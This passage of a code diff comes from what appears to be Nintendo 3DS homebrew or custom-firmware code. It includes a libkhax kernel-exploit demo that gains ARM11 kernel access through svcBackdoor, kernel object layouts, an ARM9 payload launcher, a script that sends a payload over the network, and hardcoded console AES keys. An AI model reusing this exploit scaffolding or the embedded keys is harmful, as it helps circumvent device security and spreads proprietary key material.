<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<AdditionalIncludeDirectories>C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<AdditionalIncludeDirectories>C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="../khaxinit.cpp" />
|
||||
<ClCompile Include="main.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Makefile" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="../khax.h" />
|
||||
<ClInclude Include="../khaxinternal.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
@ -1,36 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="../khaxinit.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Makefile" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="../khaxinternal.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="../khax.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
@ -1,139 +0,0 @@
|
||||
#ifndef LIBKHAX_AS_LIB
|
||||
|
||||
#include <3ds.h>
|
||||
#include <3ds/services/am.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <malloc.h>
|
||||
#include "../khax.h"
|
||||
|
||||
#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))
|
||||
|
||||
s32 g_backdoorResult = -1;
|
||||
|
||||
s32 dump_chunk_wrapper()
|
||||
{
|
||||
__asm__ volatile("cpsid aif");
|
||||
g_backdoorResult = 0x6666abcd;
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Test access to "am" service, which we shouldn't have access to, unless khax succeeds.
|
||||
Result test_am_access_inner(char *productCode)
|
||||
{
|
||||
// Title IDs of "mset" in the six regions
|
||||
static const u64 s_msetTitleIDs[] =
|
||||
{
|
||||
0x0004001000020000, 0x0004001000021000, 0x0004001000022000,
|
||||
0x0004001000026000, 0x0004001000027000, 0x0004001000028000
|
||||
};
|
||||
Result result;
|
||||
char productCodeTemp[16 + 1];
|
||||
unsigned x;
|
||||
|
||||
// Initialize "am"
|
||||
result = amInit();
|
||||
if (result != 0)
|
||||
{
|
||||
return result;
|
||||
}
|
||||
|
||||
// Check for the existence of the title IDs.
|
||||
for (x = 0; x < KHAX_lengthof(s_msetTitleIDs); ++x)
|
||||
{
|
||||
result = AM_GetTitleProductCode(0, s_msetTitleIDs[x], productCodeTemp);
|
||||
if (result == 0)
|
||||
{
|
||||
memcpy(productCode, productCodeTemp, sizeof(productCodeTemp));
|
||||
amExit();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
amExit();
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Self-contained test.
|
||||
void test_am_access_outer(int testNumber)
|
||||
{
|
||||
char productCode[16 + 1];
|
||||
Result result = test_am_access_inner(productCode);
|
||||
if (result != 0)
|
||||
{
|
||||
productCode[0] = '\0';
|
||||
}
|
||||
printf("amtest%d:%08lx %s\n", testNumber, result, productCode);
|
||||
}
|
||||
|
||||
|
||||
int main()
|
||||
{
|
||||
// Initialize services
|
||||
/* srvInit(); // mandatory
|
||||
aptInit(); // mandatory
|
||||
hidInit(NULL); // input (buttons, screen)*/
|
||||
gfxInitDefault(); // graphics
|
||||
/* fsInit();
|
||||
sdmcInit();
|
||||
hbInit();
|
||||
qtmInit();*/
|
||||
|
||||
consoleInit(GFX_BOTTOM, NULL);
|
||||
|
||||
consoleClear();
|
||||
|
||||
test_am_access_outer(1); // test before libkhax
|
||||
|
||||
Result result = khaxInit();
|
||||
printf("khaxInit returned %08lx\n", result);
|
||||
|
||||
printf("backdoor returned %08lx\n", (svcBackdoor(dump_chunk_wrapper), g_backdoorResult));
|
||||
|
||||
test_am_access_outer(2); // test after libkhax
|
||||
|
||||
printf("khax demo main finished\n");
|
||||
printf("Press X to exit\n");
|
||||
|
||||
khaxExit();
|
||||
|
||||
while (aptMainLoop())
|
||||
{
|
||||
// Wait next screen refresh
|
||||
gspWaitForVBlank();
|
||||
|
||||
// Read which buttons are currently pressed
|
||||
hidScanInput();
|
||||
u32 kDown = hidKeysDown();
|
||||
(void) kDown;
|
||||
u32 kHeld = hidKeysHeld();
|
||||
(void) kHeld;
|
||||
|
||||
// If START is pressed, break loop and quit
|
||||
if (kDown & KEY_X){
|
||||
break;
|
||||
}
|
||||
|
||||
//consoleClear();
|
||||
|
||||
// Flush and swap framebuffers
|
||||
gfxFlushBuffers();
|
||||
gfxSwapBuffers();
|
||||
}
|
||||
|
||||
// Exit services
|
||||
/* qtmExit();
|
||||
hbExit();
|
||||
sdmcExit();
|
||||
fsExit();*/
|
||||
gfxExit();
|
||||
/* hidExit();
|
||||
aptExit();
|
||||
srvExit();*/
|
||||
|
||||
// Return to hbmenu
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif // LIBKHAX_AS_LIB
|
@ -1,16 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <3ds.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// Initialize and do the initial pwning of the ARM11 kernel.
|
||||
Result khaxInit();
|
||||
// Shut down libkhax
|
||||
Result khaxExit();
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
File diff suppressed because it is too large
Load Diff
@ -1,337 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#ifdef KHAX_DEBUG
|
||||
#define KHAX_printf(...) printf(__VA_ARGS__), gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers()
|
||||
#else
|
||||
#define KHAX_printf(...) gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers()
|
||||
#endif
|
||||
|
||||
// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never
|
||||
// actually compile this program.
|
||||
#ifdef _MSC_VER
|
||||
#undef ALIGN
|
||||
#define ALIGN(x) __declspec(align(x))
|
||||
#if _MSC_VER < 1900
|
||||
#define alignof __alignof
|
||||
#endif
|
||||
#define KHAX_ATTRIBUTE(...)
|
||||
#else
|
||||
#define KHAX_ATTRIBUTE(...) __VA_ARGS__
|
||||
#endif
|
||||
|
||||
#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))
|
||||
#define KHAX_UNUSED(...) static_cast<void>(__VA_ARGS__)
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
namespace KHAX
|
||||
{
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// This code uses offsetof illegally (i.e. on polymorphic classes).
|
||||
#pragma GCC diagnostic push
|
||||
#pragma GCC diagnostic ignored "-Winvalid-offsetof"
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// General linked list node kernel object.
|
||||
struct KLinkedListNode
|
||||
{
|
||||
KLinkedListNode *next;
|
||||
KLinkedListNode *prev;
|
||||
void *data;
|
||||
};
|
||||
static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// Base class of reference-counted kernel objects.
|
||||
class KAutoObject
|
||||
{
|
||||
public:
|
||||
u32 m_refCount; // +004
|
||||
|
||||
protected:
|
||||
virtual ~KAutoObject() {}
|
||||
};
|
||||
static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size.");
|
||||
static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// Base class of synchronizable objects.
|
||||
class KSynchronizationObject : public KAutoObject
|
||||
{
|
||||
public:
|
||||
u32 m_threadSyncCount; // +008
|
||||
KLinkedListNode *m_threadSyncFirst; // +00C
|
||||
KLinkedListNode *m_threadSyncLast; // +010
|
||||
};
|
||||
static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size.");
|
||||
static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008,
|
||||
"KSynchronizationObject isn't the expected layout.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
struct KDebugThread;
|
||||
struct KThreadLocalPage;
|
||||
class KCodeSet;
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// Unofficial name
|
||||
typedef u8 KSVCACL[0x80 / 8];
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// ARM VFP register
|
||||
union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister
|
||||
{
|
||||
float m_single[2];
|
||||
double m_double;
|
||||
};
|
||||
static_assert(alignof(VFPRegister) == 0x004,
|
||||
"VFPRegister isn't the expected alignment.");
|
||||
static_assert(sizeof(VFPRegister) == 0x008,
|
||||
"VFPRegister isn't the expected size.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// SVC-mode register save area.
|
||||
// http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
|
||||
struct SVCRegisterState
|
||||
{
|
||||
u32 m_r4; // +000
|
||||
u32 m_r5; // +004
|
||||
u32 m_r6; // +008
|
||||
u32 m_r7; // +00C
|
||||
u32 m_r8; // +010
|
||||
u32 m_r9; // +014
|
||||
u32 m_sl; // +018
|
||||
u32 m_fp; // +01C
|
||||
u32 m_sp; // +020
|
||||
u32 m_lr; // +024
|
||||
};
|
||||
static_assert(sizeof(SVCRegisterState) == 0x028,
|
||||
"SVCRegisterState isn't the expected size.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// SVC-mode thread state structure. This is the last part of the per-
|
||||
// thread page allocated in 0xFF4XX000.
|
||||
// http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
|
||||
struct SVCThreadArea
|
||||
{
|
||||
KSVCACL m_svcAccessControl; // +000
|
||||
u32 m_unknown010; // +010
|
||||
u32 m_unknown014; // +014
|
||||
SVCRegisterState m_svcRegisterState; // +018
|
||||
VFPRegister m_vfpRegisters[16]; // +040
|
||||
u32 m_unknown0C4; // +0C0
|
||||
u32 m_fpexc; // +0C4
|
||||
};
|
||||
static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018,
|
||||
"ThreadSVCArea isn't the expected layout.");
|
||||
static_assert(sizeof(SVCThreadArea) == 0x0C8,
|
||||
"ThreadSVCArea isn't the expected size.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// Kernel's internal structure of a thread object.
|
||||
class KThread : public KSynchronizationObject
|
||||
{
|
||||
public:
|
||||
u32 m_unknown014; // +014
|
||||
u32 m_unknown018; // +018
|
||||
u32 m_unknown01C; // +01C
|
||||
u32 m_unknown020; // +020
|
||||
u32 m_unknown024; // +024
|
||||
u32 m_unknown028; // +028
|
||||
u32 m_unknown02C; // +02C
|
||||
u32 m_unknown030; // +030
|
||||
u32 m_unknown034; // +034
|
||||
KDebugThread *m_debugThread; // +038
|
||||
s32 m_threadPriority; // +03C
|
||||
void *m_waitingOnObject; // +040
|
||||
u32 m_unknown044; // +044
|
||||
KThread **m_schedulerUnknown048; // +048
|
||||
void *m_arbitrationAddress; // +04C
|
||||
u32 m_unknown050; // +050
|
||||
u32 m_unknown054; // +054
|
||||
u32 m_unknown058; // +058
|
||||
KLinkedListNode *m_waitingOnList; // +05C
|
||||
u32 m_unknownListCount; // +060
|
||||
KLinkedListNode *m_unknownListHead; // +064
|
||||
KLinkedListNode *m_unknownListTail; // +068
|
||||
s32 m_threadPriority2; // +06C
|
||||
s32 m_creatingProcessor; // +070
|
||||
u32 m_unknown074; // +074
|
||||
u32 m_unknown078; // +078
|
||||
u16 m_unknown07C; // +07C
|
||||
u8 m_threadType; // +07E
|
||||
u8 m_padding07F; // +07F
|
||||
void *m_process; // +080
|
||||
u32 m_threadID; // +084
|
||||
SVCRegisterState *m_svcRegisterState; // +088
|
||||
void *m_svcPageEnd; // +08C
|
||||
s32 m_idealProcessor; // +090
|
||||
void *m_tlsUserMode; // +094
|
||||
void *m_tlsKernelMode; // +098
|
||||
u32 m_unknown09C; // +09C
|
||||
KThread *m_prev; // +0A0
|
||||
KThread *m_next; // +0A4
|
||||
KThread **m_temporaryLinkedList; // +0A8
|
||||
u32 m_unknown0AC; // +0B0
|
||||
};
|
||||
static_assert(sizeof(KThread) == 0x0B0,
|
||||
"KThread isn't the expected size.");
|
||||
static_assert(offsetof(KThread, m_svcRegisterState) == 0x088,
|
||||
"KThread isn't the expected layout.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// Kernel's internal structure of a process object.
|
||||
// Version 1.0.0(?) - 7.2.0
|
||||
class KProcess_1_0_0_Old : public KSynchronizationObject
|
||||
{
|
||||
public:
|
||||
u32 m_unknown014; // +014
|
||||
u32 m_unknown018; // +018
|
||||
KThread *volatile m_interactingThread; // +01C
|
||||
u16 m_unknown020; // +020
|
||||
u16 m_unknown022; // +022
|
||||
u32 m_unknown024; // +024
|
||||
u32 m_unknown028; // +028
|
||||
u32 m_memoryBlockCount; // +02C
|
||||
KLinkedListNode *m_memoryBlockFirst; // +030
|
||||
KLinkedListNode *m_memoryBlockLast; // +034
|
||||
u32 m_unknown038; // +038
|
||||
u32 m_unknown03C; // +03C
|
||||
void *m_translationTableBase; // +040
|
||||
u8 m_contextID; // +044
|
||||
u32 m_unknown048; // +048
|
||||
u32 m_unknown04C; // +04C
|
||||
u32 m_mmuTableSize; // +050
|
||||
void *m_mmuTableAddress; // +054
|
||||
u32 m_threadContextPagesSize; // +058
|
||||
u32 m_threadLocalPageCount; // +05C
|
||||
KLinkedListNode *m_threadLocalPageFirst; // +060
|
||||
KLinkedListNode *m_threadLocalPageLast; // +064
|
||||
u32 m_unknown068; // +068
|
||||
s32 m_idealProcessor; // +06C
|
||||
u32 m_unknown070; // +070
|
||||
void *m_resourceLimits; // +074
|
||||
u8 m_unknown078; // +078
|
||||
u8 m_affinityMask; // +079
|
||||
u32 m_threadCount; // +07C
|
||||
KSVCACL m_svcAccessControl; // +080
|
||||
u32 m_interruptFlags[0x80 / 32]; // +090
|
||||
u32 m_kernelFlags; // +0A0
|
||||
u16 m_handleTableSize; // +0A4
|
||||
u16 m_kernelReleaseVersion; // +0A6
|
||||
KCodeSet *m_codeSet; // +0A8
|
||||
u32 m_processID; // +0AC
|
||||
u32 m_kernelFlags2; // +0B0
|
||||
u32 m_unknown0B4; // +0B4
|
||||
KThread *m_mainThread; // +0B8
|
||||
//...more...
|
||||
};
|
||||
static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080,
|
||||
"KProcess_1_0_0_Old isn't the expected layout.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// Kernel's internal structure of a process object.
|
||||
// Old 3DS Version 8.0.0 - 9.5.0...
|
||||
class KProcess_8_0_0_Old : public KSynchronizationObject
|
||||
{
|
||||
public:
|
||||
u32 m_unknown014; // +014
|
||||
u32 m_unknown018; // +018
|
||||
KThread *volatile m_interactingThread; // +01C
|
||||
u16 m_unknown020; // +020
|
||||
u16 m_unknown022; // +022
|
||||
u32 m_unknown024; // +024
|
||||
u32 m_unknown028; // +028
|
||||
u32 m_memoryBlockCount; // +02C
|
||||
KLinkedListNode *m_memoryBlockFirst; // +030
|
||||
KLinkedListNode *m_memoryBlockLast; // +034
|
||||
u32 m_unknown038; // +038
|
||||
u32 m_unknown03C; // +03C
|
||||
void *m_translationTableBase; // +040
|
||||
u8 m_contextID; // +044
|
||||
u32 m_unknown048; // +048
|
||||
void *m_userVirtualMemoryEnd; // +04C
|
||||
void *m_userLinearVirtualBase; // +050
|
||||
u32 m_unknown054; // +054
|
||||
u32 m_mmuTableSize; // +058
|
||||
void *m_mmuTableAddress; // +05C
|
||||
u32 m_threadContextPagesSize; // +060
|
||||
u32 m_threadLocalPageCount; // +064
|
||||
KLinkedListNode *m_threadLocalPageFirst; // +068
|
||||
KLinkedListNode *m_threadLocalPageLast; // +06C
|
||||
u32 m_unknown070; // +070
|
||||
s32 m_idealProcessor; // +074
|
||||
u32 m_unknown078; // +078
|
||||
void *m_resourceLimits; // +07C
|
||||
u32 m_unknown080; // +080
|
||||
u32 m_threadCount; // +084
|
||||
u8 m_svcAccessControl[0x80 / 8]; // +088
|
||||
u32 m_interruptFlags[0x80 / 32]; // +098
|
||||
u32 m_kernelFlags; // +0A8
|
||||
u16 m_handleTableSize; // +0AC
|
||||
u16 m_kernelReleaseVersion; // +0AE
|
||||
KCodeSet *m_codeSet; // +0B0
|
||||
u32 m_processID; // +0B4
|
||||
u32 m_unknown0B8; // +0B8
|
||||
u32 m_unknown0BC; // +0BC
|
||||
KThread *m_mainThread; // +0C0
|
||||
//...more...
|
||||
};
|
||||
static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088,
|
||||
"KProcess_8_0_0_Old isn't the expected layout.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// Kernel's internal structure of a process object.
|
||||
// New 3DS Version 8.0.0 - 9.5.0...
|
||||
class KProcess_8_0_0_New : public KSynchronizationObject
|
||||
{
|
||||
public:
|
||||
u32 m_unknown014; // +014
|
||||
u32 m_unknown018; // +018
|
||||
KThread *volatile m_interactingThread; // +01C
|
||||
u16 m_unknown020; // +020
|
||||
u16 m_unknown022; // +022
|
||||
u32 m_unknown024; // +024
|
||||
u32 m_unknown028; // +028
|
||||
u32 m_unknown02C; // +02C new to New 3DS
|
||||
u32 m_unknown030; // +030 new to New 3DS
|
||||
u32 m_memoryBlockCount; // +034
|
||||
KLinkedListNode *m_memoryBlockFirst; // +038
|
||||
KLinkedListNode *m_memoryBlockLast; // +03C
|
||||
u32 m_unknown040; // +040
|
||||
u32 m_unknown044; // +044
|
||||
void *m_translationTableBase; // +048
|
||||
u8 m_contextID; // +04C
|
||||
u32 m_unknown050; // +050
|
||||
void *m_userVirtualMemoryEnd; // +054
|
||||
void *m_userLinearVirtualBase; // +058
|
||||
u32 m_unknown05C; // +05C
|
||||
u32 m_mmuTableSize; // +060
|
||||
void *m_mmuTableAddress; // +064
|
||||
u32 m_threadContextPagesSize; // +068
|
||||
u32 m_threadLocalPageCount; // +06C
|
||||
KLinkedListNode *m_threadLocalPageFirst; // +070
|
||||
KLinkedListNode *m_threadLocalPageLast; // +074
|
||||
u32 m_unknown078; // +078
|
||||
s32 m_idealProcessor; // +07C
|
||||
u32 m_unknown080; // +080
|
||||
void *m_resourceLimits; // +084
|
||||
u32 m_unknown088; // +088
|
||||
u32 m_threadCount; // +08C
|
||||
u8 m_svcAccessControl[0x80 / 8]; // +090
|
||||
u32 m_interruptFlags[0x80 / 32]; // +0A0
|
||||
u32 m_kernelFlags; // +0B0
|
||||
u16 m_handleTableSize; // +0B4
|
||||
u16 m_kernelReleaseVersion; // +0B6
|
||||
KCodeSet *m_codeSet; // +0B8
|
||||
u32 m_processID; // +0BC
|
||||
u32 m_unknown0C0; // +0C0
|
||||
u32 m_unknown0C4; // +0C4
|
||||
KThread *m_mainThread; // +0C8
|
||||
//...more...
|
||||
};
|
||||
static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090,
|
||||
"KProcess_8_0_0_New isn't the expected layout.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// Done using illegal offsetof
|
||||
#pragma GCC diagnostic pop
|
||||
}
|
@ -1,30 +0,0 @@
|
||||
#include <3ds.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include "brahma.h"
|
||||
#include "hid.h"
|
||||
|
||||
#ifndef LAUNCHER_PATH
|
||||
#define LAUNCHER_PATH "Cakes.dat"
|
||||
#endif
|
||||
|
||||
int main (void) {
|
||||
if (brahma_init()) {
|
||||
if (load_arm9_payload_offset("/" LAUNCHER_PATH, 0x12000, 0x10000) != 1)
|
||||
goto error;
|
||||
firm_reboot();
|
||||
brahma_exit();
|
||||
}
|
||||
|
||||
// Return to hbmenu
|
||||
return 0;
|
||||
|
||||
error:
|
||||
gfxInitDefault();
|
||||
consoleInit(GFX_BOTTOM, NULL);
|
||||
printf("An error occurred while loading the payload.\nMake sure your launcher is located at:\n/" LAUNCHER_PATH);
|
||||
wait_any_key();
|
||||
|
||||
gfxExit();
|
||||
return 1;
|
||||
}
|
@ -1,38 +0,0 @@
|
||||
.arm
|
||||
.align 4
|
||||
.code 32
|
||||
.text
|
||||
|
||||
.global InvalidateEntireInstructionCache
|
||||
.type InvalidateEntireInstructionCache, %function
|
||||
InvalidateEntireInstructionCache:
|
||||
mov r0, #0
|
||||
mcr p15, 0, r0, c7, c5, 0
|
||||
bx lr
|
||||
|
||||
.global CleanEntireDataCache
|
||||
.type CleanEntireDataCache, %function
|
||||
CleanEntireDataCache:
|
||||
mov r0, #0
|
||||
mcr p15, 0, r0, c7, c10, 0
|
||||
bx lr
|
||||
|
||||
.global dsb
|
||||
.type dsb, %function
|
||||
dsb:
|
||||
mov r0, #0
|
||||
mcr p15, 0, r0, c7, c10, 4
|
||||
bx lr
|
||||
|
||||
.global DisableInterrupts
|
||||
.type DisableInterrupts, %function
|
||||
DisableInterrupts:
|
||||
mrs r0, cpsr
|
||||
CPSID I
|
||||
bx lr
|
||||
|
||||
.global EnableInterrupts
|
||||
.type EnableInterrupts, %function
|
||||
EnableInterrupts:
|
||||
msr cpsr_cx, r0
|
||||
bx lr
|
@ -1,22 +0,0 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
import socket
|
||||
import sys
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print "python client.py <ip> <file>\n"
|
||||
sys.exit(0)
|
||||
|
||||
port = 80
|
||||
host = sys.argv[1]
|
||||
pfile = sys.argv[2]
|
||||
|
||||
f = open(pfile, "rb")
|
||||
buf = f.read()
|
||||
f.close()
|
||||
|
||||
s = socket.socket()
|
||||
s.connect((host, port))
|
||||
sent = s.send(buf)
|
||||
print "Sent %d bytes\n" % sent
|
||||
s.close()
|
119
source/crypto.c
119
source/crypto.c
@ -357,113 +357,42 @@ int rsa_verify(const void* data, u32 size, const void* sig, u32 mode)
|
||||
* Nand/FIRM Crypto stuff
|
||||
****************************************************************/
|
||||
|
||||
//Get Nand CTR key
|
||||
void getNandCTR(u8 *buf) {
|
||||
u8 *addr = (u8*)0x080D8BBC;
|
||||
u8 keyLen = 0x10; //CTR length
|
||||
addr += 0x0F;
|
||||
while (keyLen --) { *(buf++) = *(addr--); }
|
||||
}
|
||||
|
||||
//Read firm0 from NAND and write to buffer
|
||||
void nandFirm0(u8 *outbuf, const u32 size){
|
||||
u8 CTR[0x10];
|
||||
getNandCTR(CTR);
|
||||
aes_advctr(CTR, 0x0B130000/0x10, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
sdmmc_nand_readsectors(0x0B130000 / 0x200, size / 0x200, outbuf);
|
||||
aes_use_keyslot(0x06);
|
||||
aes(outbuf, outbuf, size / AES_BLOCK_SIZE, CTR, AES_CTR_MODE, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
}
|
||||
|
||||
//Emulates the Arm9loader process
|
||||
//9.5.0 = 0x0F
|
||||
//9.6.0 = 0x18
|
||||
void arm9loader(void *armHdr, u32 kversion){
|
||||
void arm9loader(void *armHdr){
|
||||
//Set Nand key#2 here (decrypted from 0x12C10)
|
||||
u8 key2[0x10] = {0x42, 0x3F, 0x81, 0x7A, 0x23, 0x52, 0x58, 0x31, 0x6E, 0x75, 0x8E, 0x3A, 0x39, 0x43, 0x2E, 0xD0};
|
||||
|
||||
u8 keyX[0x10];
|
||||
u8 keyY[0x10];
|
||||
u8 CTR[0x10];
|
||||
u32 slot = (kversion >= 0x0F ? 0x16 : 0x15);
|
||||
u32 slot = 0x16;
|
||||
|
||||
//Setupkeys needed for arm9bin decryption
|
||||
memcpy(keyY, armHdr+0x10, 0x10);
|
||||
memcpy(CTR, armHdr+0x20, 0x10);
|
||||
u32 size = atoi(armHdr+0x30);
|
||||
memcpy((u8*)keyY, (void *)((uintptr_t)armHdr+0x10), 0x10);
|
||||
memcpy((u8*)CTR, (void *)((uintptr_t)armHdr+0x20), 0x10);
|
||||
u32 size = atoi((void *)((uintptr_t)armHdr+0x30));
|
||||
|
||||
if(kversion >= 0x0F){
|
||||
if(kversion >= 0x18) aes_setkey(0x11, key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_use_keyslot(0x11);
|
||||
aes(keyX, armHdr+0x60, 1, NULL, AES_ECB_DECRYPT_MODE, 0);
|
||||
aes_setkey(slot, keyX, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
}
|
||||
//Set 0x11 to key2 for the arm9bin and misc keys
|
||||
aes_setkey(0x11, (u8*)key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_use_keyslot(0x11);
|
||||
|
||||
aes_setkey(slot, keyY, AES_KEYY, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_setiv(CTR, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
//Set 0x16 keyX, keyY and CTR
|
||||
aes((u8*)keyX, (void *)((uintptr_t)armHdr+0x60), 1, NULL, AES_ECB_DECRYPT_MODE, 0);
|
||||
aes_setkey(slot, (u8*)keyX, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_setkey(slot, (u8*)keyY, AES_KEYY, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_setiv((u8*)CTR, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_use_keyslot(slot);
|
||||
|
||||
aes(armHdr+0x800, armHdr+0x800, size/AES_BLOCK_SIZE, CTR, AES_CTR_MODE, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
}
|
||||
|
||||
void setKeys(kversion){
|
||||
u8 key2[0x10] = {0x42, 0x3F, 0x81, 0x7A, 0x23, 0x52, 0x58, 0x31, 0x6E, 0x75, 0x8E, 0x3A, 0x39, 0x43, 0x2E, 0xD0};
|
||||
//Initialze keys
|
||||
if(kversion >= 0x18){
|
||||
|
||||
u8 keyX18[16] = {0x82, 0xE9, 0xC9, 0xBE, 0xBF, 0xB8, 0xBD, 0xB8, 0x75, 0xEC, 0xC0, 0xA0, 0x7D, 0x47, 0x43, 0x74};
|
||||
u8 keyX19[16] = {0xF5, 0x36, 0x7F, 0xCE, 0x73, 0x14, 0x2E, 0x66, 0xED, 0x13, 0x91, 0x79, 0x14, 0xB7, 0xF2, 0xEF};
|
||||
